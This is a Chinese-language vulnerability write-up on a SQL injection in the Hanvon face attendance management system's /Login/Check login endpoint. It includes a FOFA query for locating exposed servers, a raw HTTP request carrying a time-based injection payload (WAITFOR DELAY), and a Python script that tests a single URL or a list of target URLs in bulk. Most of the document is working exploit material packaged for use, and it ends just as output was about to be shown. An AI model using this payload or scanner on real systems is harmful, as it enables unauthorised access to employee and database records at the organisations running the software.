漏洞简介
汉王考勤管理系统简化版是是汉王人脸通考勤机的配套软件，满足客户的日常基本使用需要。汉王考勤管理系统第一次使用，需要完成一些例如服务器设置、员工信息、考勤规则、单位班次及员工排班等基本设置。该软件存在SQL注入，可获取数据库敏感信息。
FOFA语句
"汉王人脸考勤管理系统"
影响范围
汉王人脸考勤管理系统
漏洞复现
在登录框处抓包验证
poc
POST /Login/Check HTTP/1.1 Host: xxx.xxx.xxx.xxx Content-Length: 50 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://xxx.xxx.xxx.xxx Referer: http://xxx.xxx.xxx.xxx Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: ASP.NET_SessionId=d3bcakylkgolfzy3ftefkcqb Connection: close strName=admin';WAITFOR DELAY '0:0:5'--&strPwd=dasd
如果返回ok，说明存在SQL注入
python脚本
import requests import sys import argparse from requests.packages.urllib3.exceptions import InsecureRequestWarning #消除警告 requests.packages.urllib3.disable_warnings(InsecureRequestWarning) # 消除警告 def lemonlove7(): print('python xxx.py -u/--url http://xxx.xxx.xxx.xxx') print('python xxx.py -f/--file x.txt') print('FOFA:"汉王人脸考勤管理系统"') print('lemonlove7') if len(sys.argv)==1: lemonlove7() sys.exit() p = argparse.ArgumentParser(description='lemonlove7') p.add_argument('-u','--url',help='输入url',default='') p.add_argument('-f','--file',help='输入文件',default='') a = p.parse_args() url = a.url file = a.file headers= { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36', 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', 'Cookie':'ASP.NET_SessionId=d3bcakylkgolfzy3ftefkcqb' } data="strName=admin';WAITFOR DELAY '0:0:5'--&strPwd=dasd" if url != '': furl = url try: url =furl+'/Login/Check/' r= requests.post(url=url,headers=headers,data=data,timeout=10,verify=False) if r.status_code == 200 and 'ok' in r.text: print(furl+'存在sql注入') else: print(furl+'不存在sql注入') except Exception as e: print(furl+'不存在sql注入') if file !='': text =file f = open(text,'r+') for i in f.readlines(): url = i.strip() if url.startswith('http:') != 1 and url.startswith('https:') != 1: url = 'http://' + url url1 = url url2=url try: url1 = url+'/Login/Check/' r =requests.post(url=url1,headers=headers,data=data,timeout = 10,verify=False) if r.status_code==200 and 'ok' in r.text: print(url2+'存在sql注入') else: print(url2+'不存在sql注入') except Exception as e: print(url2+'不存在sql注入')
运行效果如下：
